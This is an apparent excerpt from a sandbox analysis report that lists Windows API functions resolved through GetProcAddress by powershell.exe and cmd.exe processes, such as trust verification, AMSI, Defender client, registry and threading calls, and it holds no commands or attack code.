(UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindWindow (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FindWindowA (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributes (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfo (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfoA (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectory (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00008260) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00008260) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000244) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000244) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004464) 